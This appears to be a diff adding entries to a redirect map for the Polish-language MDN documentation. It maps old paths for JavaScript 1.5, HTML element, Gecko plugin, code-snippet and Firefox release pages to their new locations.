+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Przestarza%C5%82e_w%C5%82asno%C5%9Bci_i_metody /pl/docs/Web/JavaScript/Referencje/Przestarza%C5%82e_w%C5%82asno%C5%9Bci_i_metody
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:S%C5%82owa_zarezerwowane /pl/docs/Web/JavaScript/Referencje/S%C5%82owa_zarezerwowane
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:W%C5%82asno%C5%9Bci /pl/docs/Web/JavaScript/Referencje/Obiekty
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:W%C5%82asno%C5%9Bci:Infinity /pl/docs/Web/JavaScript/Referencje/Obiekty/Infinity
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:W%C5%82asno%C5%9Bci:NaN /pl/docs/Web/JavaScript/Referencje/Obiekty/NaN
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:W%C5%82asno%C5%9Bci:undefined /pl/docs/Web/JavaScript/Referencje/Obiekty/undefined
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:W%C5%82asno%C5%9Bciundefined /pl/docs/Web/JavaScript/Referencje/Obiekty/undefined
+/pl/docs/Dokumentacja_j%C4%99zyka_JavaScript_1.5:Wyra%C5%BCenia:const /pl/docs/Web/JavaScript/Referencje/Polecenia/const
+/pl/docs/Dokumentacja_kompilacji /pl/docs/Mozilla/Developer_guide/Dokumentacja_kompilacji
+/pl/docs/Dokumentacja_kompilacji:TOC /pl/docs/Dokumentacja_kompilacji/TOC
+/pl/docs/Dokumentacja_wtyczek_Gecko:Inicjacja_i_niszczenie /pl/docs/Dokumentacja_wtyczek_Gecko/Inicjacja_i_niszczenie
+/pl/docs/Dokumentacja_wtyczek_Gecko:Interfejs_programowania_aplikacji_(API)_od_strony_przegl%C4%85darki /pl/docs/Dokumentacja_wtyczek_Gecko/Interfejs_programowania_aplikacji_(API)_od_strony_przegl%C4%85darki
+/pl/docs/Dokumentacja_wtyczek_Gecko:Interfejs_programowania_aplikacji_(API)_od_strony_wtyczki /pl/docs/Dokumentacja_wtyczek_Gecko/Interfejs_programowania_aplikacji_(API)_od_strony_wtyczki
+/pl/docs/Dokumentacja_wtyczek_Gecko:Pami%C4%99%C4%87 /pl/docs/Dokumentacja_wtyczek_Gecko/Pami%C4%99%C4%87
+/pl/docs/Dokumentacja_wtyczek_Gecko:Podstawy /pl/docs/Dokumentacja_wtyczek_Gecko/Podstawy
+/pl/docs/Dokumentacja_wtyczek_Gecko:Przedmowa /pl/docs/Dokumentacja_wtyczek_Gecko/Przedmowa
+/pl/docs/Dokumentacja_wtyczek_Gecko:Przegl%C4%85d_tworzenia_wtyczek /pl/docs/Dokumentacja_wtyczek_Gecko/Przegl%C4%85d_tworzenia_wtyczek
+/pl/docs/Dokumentacja_wtyczek_Gecko:Rysowanie_i_obs%C5%82uga_zdarze%C5%84 /pl/docs/Dokumentacja_wtyczek_Gecko/Rysowanie_i_obs%C5%82uga_zdarze%C5%84
+/pl/docs/Dokumentacja_wtyczek_Gecko:Sta%C5%82e /pl/docs/Dokumentacja_wtyczek_Gecko/Sta%C5%82e
+/pl/docs/Dokumentacja_wtyczek_Gecko:Struktury /pl/docs/Dokumentacja_wtyczek_Gecko/Struktury
+/pl/docs/Dokumentacja_wtyczek_Gecko:Strumienie /pl/docs/Dokumentacja_wtyczek_Gecko/Strumienie
+/pl/docs/Dokumentacja_wtyczek_Gecko:URL /pl/docs/Dokumentacja_wtyczek_Gecko/URL
+/pl/docs/Dokumentacja_wtyczek_Gecko:Wersja,_interfejs_u%C5%BCytkownika_(UI)_oraz_informacje_statusu /pl/docs/Dokumentacja_wtyczek_Gecko/Wersja,_interfejs_u%C5%BCytkownika_(UI)_oraz_informacje_statusu
+/pl/docs/Dokumentacja_wtyczek_Gecko:Wtyczki_skryptowalne /pl/docs/Dokumentacja_wtyczek_Gecko/Wtyczki_skryptowalne
+/pl/docs/Dost%C4%99pno%C5%9B%C4%87 /pl/docs/Web/Dost%C4%99pno%C5%9B%C4%87
+/pl/docs/Dost%C4%99pno%C5%9B%C4%87:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/Dost%C4%99pno%C5%9B%C4%87/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/Dynamiczne_zmiany_interfejsu_u%C5%BCytkownika_bazuj%C4%85cego_na_XULu /pl/docs/Dynamiczne_zmiany_interfejsu_u%C5%BCytkownika_bazuj%C4%85cego_na_XUL-u
+/pl/docs/ECMAScript /pl/docs/Web/JavaScript/Zasoby_języka_JavaScript
+/pl/docs/EXSLT /pl/docs/Web/EXSLT
+/pl/docs/EditCSS_-_rozszerzenie_Firefoksa_(link) https://addons.mozilla.org/extensions/moreinfo.php?id=179
+/pl/docs/Edytowanie_sformatowanego_tekstu_(Rich-Text_Editing)_w_Mozilli /pl/docs/Web/Guide/HTML/Editable_content/Edytowanie_sformatowanego_tekstu_(Rich-Text_Editing)_w_Mozilli
+/pl/docs/Firebug_-_rozszerzenie_Firefoksa_(link) https://addons.mozilla.org/extensions/moreinfo.php?id=1843&application=firefox
+/pl/docs/Firefox_1.5 /pl/docs/Mozilla/Firefox/Releases/1.5
+/pl/docs/Firefox_1.5_Beta_dla_programist%C3%B3w /pl/docs/Mozilla/Firefox/Releases/1.5
+/pl/docs/Firefox_1.5_dla_programist%C3%B3w /pl/docs/Mozilla/Firefox/Releases/1.5
+/pl/docs/Firefox_2 /pl/docs/Mozilla/Firefox/Releases/2
+/pl/docs/Firefox_2_dla_programist%C3%B3w /pl/docs/Mozilla/Firefox/Releases/2
+/pl/docs/Firefox_3 /pl/docs/Firefox_3_dla_programist%C3%B3w
+/pl/docs/Firefox_3.5_dla_programist%C3%B3w /pl/docs/Mozilla/Firefox/Releases/3.5
+/pl/docs/Focus_management_in_HTML /pl/docs/Web/HTML/Zarz%C4%85dzanie_fokusem_w_HTML
+/pl/docs/Fragmenty_kodu/Preferencje /pl/docs/Code_snippets/Preferences
+/pl/docs/Fragmenty_kodu:Canvas /pl/docs/Fragmenty_kodu/Canvas
+/pl/docs/Fragmenty_kodu:Ciasteczka /pl/docs/Fragmenty_kodu/Ciasteczka
+/pl/docs/Fragmenty_kodu:JS_XPCOM /pl/docs/Fragmenty_kodu/JS_XPCOM
+/pl/docs/Fragmenty_kodu:Obserwator_pobierania_danych /pl/docs/Fragmenty_kodu/Obserwator_pobierania_danych
+/pl/docs/Fragmenty_kodu:Okienka_dialogowe /pl/docs/Fragmenty_kodu/Okienka_dialogowe
+/pl/docs/Fragmenty_kodu:Okna /pl/docs/Fragmenty_kodu/Okna
+/pl/docs/Fragmenty_kodu:Paski_narz%C4%99dzi /pl/docs/Fragmenty_kodu/Paski_narz%C4%99dzi
+/pl/docs/Fragmenty_kodu:Plik_I_O /pl/docs/Fragmenty_kodu/Plik_I_O
+/pl/docs/Fragmenty_kodu:Preferencje /pl/docs/Code_snippets/Preferences
+/pl/docs/Fragmenty_kodu:Przegl%C4%85danie_w_kartach /pl/docs/Fragmenty_kodu/Przegl%C4%85danie_w_kartach
+/pl/docs/Fragmenty_kodu:R%C3%B3%C5%BCne /pl/docs/Fragmenty_kodu/R%C3%B3%C5%BCne
+/pl/docs/Fragmenty_kodu:Uruchamianie_aplikacji /pl/docs/Fragmenty_kodu/Uruchamianie_aplikacji
+/pl/docs/Fragmenty_kodu:Wczytywanie_strony /pl/docs/Fragmenty_kodu/Wczytywanie_strony
+/pl/docs/Fragmenty_kodu:XML /pl/docs/Fragmenty_kodu/XML
+/pl/docs/Funkcje_obs%C5%82ugi_protoko%C5%82%C3%B3w_przez_aplikacje_internetowe /pl/docs/Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers
+/pl/docs/Glossary/AOM /pl/docs/Glossary/Accessibility_tree
+/pl/docs/HTML /pl/docs/Web/HTML
+/pl/docs/HTML/Canvas /pl/docs/Web/HTML/Canvas
+/pl/docs/HTML/Element /pl/docs/Web/HTML/Element
+/pl/docs/HTML/Element/a /pl/docs/Web/HTML/Element/a
+/pl/docs/HTML/Element/abbr /pl/docs/Web/HTML/Element/abbr
+/pl/docs/HTML/Element/acronym /pl/docs/Web/HTML/Element/acronym
+/pl/docs/HTML/Element/address /pl/docs/Web/HTML/Element/address
+/pl/docs/HTML/Element/applet /pl/docs/Web/HTML/Element/applet
+/pl/docs/HTML/Element/area /pl/docs/Web/HTML/Element/area
+/pl/docs/HTML/Element/b /pl/docs/Web/HTML/Element/b
+/pl/docs/HTML/Element/base /pl/docs/Web/HTML/Element/base
+/pl/docs/HTML/Element/basefont /pl/docs/Web/HTML/Element/basefont
+/pl/docs/HTML/Element/bdo /pl/docs/Web/HTML/Element/bdo
+/pl/docs/HTML/Element/bgsound /pl/docs/Web/HTML/Element/bgsound
+/pl/docs/HTML/Element/big /pl/docs/Web/HTML/Element/big
+/pl/docs/HTML/Element/blink /pl/docs/Web/HTML/Element/blink
+/pl/docs/HTML/Element/blockquote /pl/docs/Web/HTML/Element/blockquote
+/pl/docs/HTML/Element/br /pl/docs/Web/HTML/Element/br
+/pl/docs/HTML/Element/center /pl/docs/Web/HTML/Element/center
+/pl/docs/HTML/Element/cite /pl/docs/Web/HTML/Element/cite
+/pl/docs/HTML/Element/code /pl/docs/Web/HTML/Element/code
+/pl/docs/HTML/Element/col /pl/docs/Web/HTML/Element/col
+/pl/docs/HTML/Element/comment /pl/docs/Web/HTML/Element/comment
+/pl/docs/HTML/Element/dd /pl/docs/Web/HTML/Element/dd
+/pl/docs/HTML/Element/dl /pl/docs/Web/HTML/Element/dl
+/pl/docs/HTML/Element/dt /pl/docs/Web/HTML/Element/dt
+/pl/docs/HTML/Element/em /pl/docs/Web/HTML/Element/em
+/pl/docs/HTML/Element/hr /pl/docs/Web/HTML/Element/hr
+/pl/docs/HTML/Element/html /pl/docs/Web/HTML/Element/html
+/pl/docs/HTML/Element/i /pl/docs/Web/HTML/Element/i
+/pl/docs/HTML/Element/kbd /pl/docs/Web/HTML/Element/kbd
+/pl/docs/HTML/Element/li /pl/docs/Web/HTML/Element/li
+/pl/docs/HTML/Element/link /pl/docs/Web/HTML/Element/link
+/pl/docs/HTML/Element/marquee /pl/docs/Web/HTML/Element/marquee
+/pl/docs/HTML/Element/ol /pl/docs/Web/HTML/Element/ol
+/pl/docs/HTML/Element/p /pl/docs/Web/HTML/Element/p
+/pl/docs/HTML/Element/q /pl/docs/Web/HTML/Element/q
+/pl/docs/HTML/Element/s /pl/docs/Web/HTML/Element/s
+/pl/docs/HTML/Element/samp /pl/docs/Web/HTML/Element/samp
+/pl/docs/HTML/Element/small /pl/docs/Web/HTML/Element/small
+/pl/docs/HTML/Element/span /pl/docs/Web/HTML/Element/span
+/pl/docs/HTML/Element/strong /pl/docs/Web/HTML/Element/strong
+/pl/docs/HTML/Element/tt /pl/docs/Web/HTML/Element/tt
+/pl/docs/HTML/Element/ul /pl/docs/Web/HTML/Element/ul
+/pl/docs/HTML/Elementy /pl/docs/Web/HTML/Element
+/pl/docs/HTML/Elementy/a /pl/docs/Web/HTML/Element/a
+/pl/docs/HTML/Elementy/abbr /pl/docs/Web/HTML/Element/abbr
+/pl/docs/HTML/Elementy/acronym /pl/docs/Web/HTML/Element/acronym
+/pl/docs/HTML/Elementy/address /pl/docs/Web/HTML/Element/address
+/pl/docs/HTML/Elementy/area /pl/docs/Web/HTML/Element/area
+/pl/docs/HTML/Elementy/b /pl/docs/Web/HTML/Element/b
+/pl/docs/HTML/Elementy/big /pl/docs/Web/HTML/Element/big
+/pl/docs/HTML/Elementy/blink /pl/docs/Web/HTML/Element/blink
+/pl/docs/HTML/Elementy/blockquote /pl/docs/Web/HTML/Element/blockquote
+/pl/docs/HTML/Elementy/br /pl/docs/Web/HTML/Element/br
+/pl/docs/HTML/Elementy/code /pl/docs/Web/HTML/Element/code
+/pl/docs/HTML/Elementy/dd /pl/docs/Web/HTML/Element/dd
+/pl/docs/HTML/Elementy/dl /pl/docs/Web/HTML/Element/dl
+/pl/docs/HTML/Elementy/em /pl/docs/Web/HTML/Element/em
+/pl/docs/HTML/Elementy/hr /pl/docs/Web/HTML/Element/hr
+/pl/docs/HTML/Elementy/html /pl/docs/Web/HTML/Element/html
+/pl/docs/HTML/Elementy/i /pl/docs/Web/HTML/Element/i
+/pl/docs/HTML/Elementy/marquee /pl/docs/Web/HTML/Element/marquee
+/pl/docs/HTML/Elementy/s /pl/docs/Web/HTML/Element/s
+/pl/docs/HTML/Elementy/small /pl/docs/Web/HTML/Element/small
+/pl/docs/HTML/Elementy/strong /pl/docs/Web/HTML/Element/strong
+/pl/docs/HTML/Elementy_blokowe /pl/docs/Web/HTML/Elementy_blokowe
+/pl/docs/HTML/Elementy_liniowe /pl/docs/Web/HTML/Elementy_liniowe
+/pl/docs/HTML/Kontrola_sprawdzania_pisowni_w_formularzach_HTML /pl/docs/Web/HTML/Kontrola_sprawdzania_pisowni_w_formularzach_HTML
+/pl/docs/HTML/The_Importance_of_Correct_Commenting /pl/docs/Web/HTML/Znaczenie_poprawnego_komentowania
+/pl/docs/HTML/Znaczenie_poprawnego_komentowania /pl/docs/Web/HTML/Znaczenie_poprawnego_komentowania
+/pl/docs/HTML:Canvas /pl/docs/Web/HTML/Canvas
+/pl/docs/HTML:Element /pl/docs/Web/HTML/Element
+/pl/docs/HTML:Element:a /pl/docs/Web/HTML/Element/a
+/pl/docs/HTML:Element:abbr /pl/docs/Web/HTML/Element/abbr
+/pl/docs/HTML:Element:acronym /pl/docs/Web/HTML/Element/acronym
+/pl/docs/HTML:Element:address /pl/docs/Web/HTML/Element/address
+/pl/docs/HTML:Element:applet /pl/docs/Web/HTML/Element/applet
+/pl/docs/HTML:Element:area /pl/docs/Web/HTML/Element/area
+/pl/docs/HTML:Element:b /pl/docs/Web/HTML/Element/b
+/pl/docs/HTML:Element:base /pl/docs/Web/HTML/Element/base
+/pl/docs/HTML:Element:basefont /pl/docs/Web/HTML/Element/basefont
+/pl/docs/HTML:Element:bdo /pl/docs/Web/HTML/Element/bdo
+/pl/docs/HTML:Element:bgsound /pl/docs/Web/HTML/Element/bgsound
+/pl/docs/HTML:Element:big /pl/docs/Web/HTML/Element/big
+/pl/docs/HTML:Element:blink /pl/docs/Web/HTML/Element/blink
+/pl/docs/HTML:Element:blockquote /pl/docs/Web/HTML/Element/blockquote
+/pl/docs/HTML:Element:br /pl/docs/Web/HTML/Element/br
+/pl/docs/HTML:Element:center /pl/docs/Web/HTML/Element/center
+/pl/docs/HTML:Element:cite /pl/docs/Web/HTML/Element/cite
+/pl/docs/HTML:Element:code /pl/docs/Web/HTML/Element/code
+/pl/docs/HTML:Element:col /pl/docs/Web/HTML/Element/col
+/pl/docs/HTML:Element:comment /pl/docs/Web/HTML/Element/comment
+/pl/docs/HTML:Element:dd /pl/docs/Web/HTML/Element/dd
+/pl/docs/HTML:Element:dl /pl/docs/Web/HTML/Element/dl
+/pl/docs/HTML:Element:dt /pl/docs/Web/HTML/Element/dt
+/pl/docs/HTML:Element:em /pl/docs/Web/HTML/Element/em
+/pl/docs/HTML:Element:hr /pl/docs/Web/HTML/Element/hr
+/pl/docs/HTML:Element:html /pl/docs/Web/HTML/Element/html
+/pl/docs/HTML:Element:i /pl/docs/Web/HTML/Element/i
+/pl/docs/HTML:Element:kbd /pl/docs/Web/HTML/Element/kbd
+/pl/docs/HTML:Element:li /pl/docs/Web/HTML/Element/li
+/pl/docs/HTML:Element:link /pl/docs/Web/HTML/Element/link
+/pl/docs/HTML:Element:marquee /pl/docs/Web/HTML/Element/marquee
+/pl/docs/HTML:Element:ol /pl/docs/Web/HTML/Element/ol
+/pl/docs/HTML:Element:p /pl/docs/Web/HTML/Element/p
+/pl/docs/HTML:Element:q /pl/docs/Web/HTML/Element/q
+/pl/docs/HTML:Element:s /pl/docs/Web/HTML/Element/s
+/pl/docs/HTML:Element:samp /pl/docs/Web/HTML/Element/samp
+/pl/docs/HTML:Element:small /pl/docs/Web/HTML/Element/small
+/pl/docs/HTML:Element:strong /pl/docs/Web/HTML/Element/strong
+/pl/docs/HTML:Element:tt /pl/docs/Web/HTML/Element/tt
+/pl/docs/HTML:Element:ul /pl/docs/Web/HTML/Element/ul
+/pl/docs/HTML:Elementy /pl/docs/Web/HTML/Element
+/pl/docs/HTML:Elementy:a /pl/docs/Web/HTML/Element/a
+/pl/docs/HTML:Elementy:abbr /pl/docs/Web/HTML/Element/abbr
+/pl/docs/HTML:Elementy:acronym /pl/docs/Web/HTML/Element/acronym
+/pl/docs/HTML:Elementy:address /pl/docs/Web/HTML/Element/address
+/pl/docs/HTML:Elementy:area /pl/docs/Web/HTML/Element/area
+/pl/docs/HTML:Elementy:b /pl/docs/Web/HTML/Element/b
+/pl/docs/HTML:Elementy:big /pl/docs/Web/HTML/Element/big
+/pl/docs/HTML:Elementy:blink /pl/docs/Web/HTML/Element/blink
+/pl/docs/HTML:Elementy:blockquote /pl/docs/Web/HTML/Element/blockquote
+/pl/docs/HTML:Elementy:br /pl/docs/Web/HTML/Element/br
+/pl/docs/HTML:Elementy:code /pl/docs/Web/HTML/Element/code
+/pl/docs/HTML:Elementy:dd /pl/docs/Web/HTML/Element/dd
+/pl/docs/HTML:Elementy:dl /pl/docs/Web/HTML/Element/dl
+/pl/docs/HTML:Elementy:em /pl/docs/Web/HTML/Element/em
+/pl/docs/HTML:Elementy:hr /pl/docs/Web/HTML/Element/hr
+/pl/docs/HTML:Elementy:html /pl/docs/Web/HTML/Element/html
+/pl/docs/HTML:Elementy:i /pl/docs/Web/HTML/Element/i
+/pl/docs/HTML:Elementy:marquee /pl/docs/Web/HTML/Element/marquee
+/pl/docs/HTML:Elementy:s /pl/docs/Web/HTML/Element/s
+/pl/docs/HTML:Elementy:small /pl/docs/Web/HTML/Element/small
+/pl/docs/HTML:Elementy:strong /pl/docs/Web/HTML/Element/strong
+/pl/docs/HTML:Elementy_blokowe /pl/docs/Web/HTML/Elementy_blokowe
+/pl/docs/HTML:Elementy_liniowe /pl/docs/Web/HTML/Elementy_liniowe
+/pl/docs/HTML:Inne_zasoby /pl/docs/HTML/Inne_zasoby
+/pl/docs/HTML:Spo%C5%82eczno%C5%9B%C4%87 /pl/docs/HTML/Spo%C5%82eczno%C5%9B%C4%87
+/pl/docs/HTML:The_Importance_of_Correct_Commenting /pl/docs/Web/HTML/Znaczenie_poprawnego_komentowania
+/pl/docs/HTML:Znaczenie_poprawnego_komentowania /pl/docs/Web/HTML/Znaczenie_poprawnego_komentowania
+/pl/docs/HTML_Element_Cross_Reference /pl/docs/Wsparcie_przegl%C4%85darek_dla_element%C3%B3w_HTML
+/pl/docs/Interfejsy:O_interfejsach_skryptowalnych /pl/docs/Interfejsy/O_interfejsach_skryptowalnych
+/pl/docs/Interfejsy:O_zamro%C5%BConych_interfejsach /pl/docs/Interfejsy/O_zamro%C5%BConych_interfejsach
+/pl/docs/Introduction /pl/docs/Mozilla/Developer_guide/Introduction
+/pl/docs/JavaScript /pl/docs/Web/JavaScript
+/pl/docs/JavaScript/Guide /pl/docs/Web/JavaScript/Guide
+/pl/docs/JavaScript/Guide/Obsolete_Pages /pl/docs/Web/JavaScript/Guide/Obsolete_Pages
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5 /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Blok_instrukcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Blok_instrukcji
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Czytanie_wyra%C5%BCenia_regularnego /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Zapisywanie_wzorca_wyra%C5%BCenia_regularnego
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Definiowanie_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Definiowanie_funkcji
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Dodawanie_obiektom_nowej_funkcjonalno%C5%9Bci. /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Dodawanie_obiektom_nowej_funkcjonalno%C5%9Bci.
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_eval
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isFinite
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcja_isNaN
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_Number_i_String
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_escape_i_unescape
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Funkcje_predefiniowane/Funkcje_parseInt_i_parseFloat
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcja_p%C4%99tli /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcja_p%C4%99tli/Instrukcja_do_...while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_komentarzy /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_komentarzy
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_manipulacji_obiektem
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_throw /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_throw
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_try...catch /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_obs%C5%82ugi_wyj%C4%85tk%C3%B3w/Instrukcja_try...catch
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_break /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_break
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continues /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_continue
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_do_...while
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_for /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_for
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_label /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_label
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_while /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_p%C4%99tli/Instrukcja_while
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Instrukcje_warunkowe
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/J%C4%99zyki_oparte_na_klasach_vs._oparte_na_prototypach /pl/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Litera%C5%82y
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Nazywanie_funkcji /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/Wywo%C5%82anie_funkcji
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku
+/pl/docs/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku /pl/docs/Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_j%C4%99zyku_JavaScript_1.5/O_tym_przewodniku
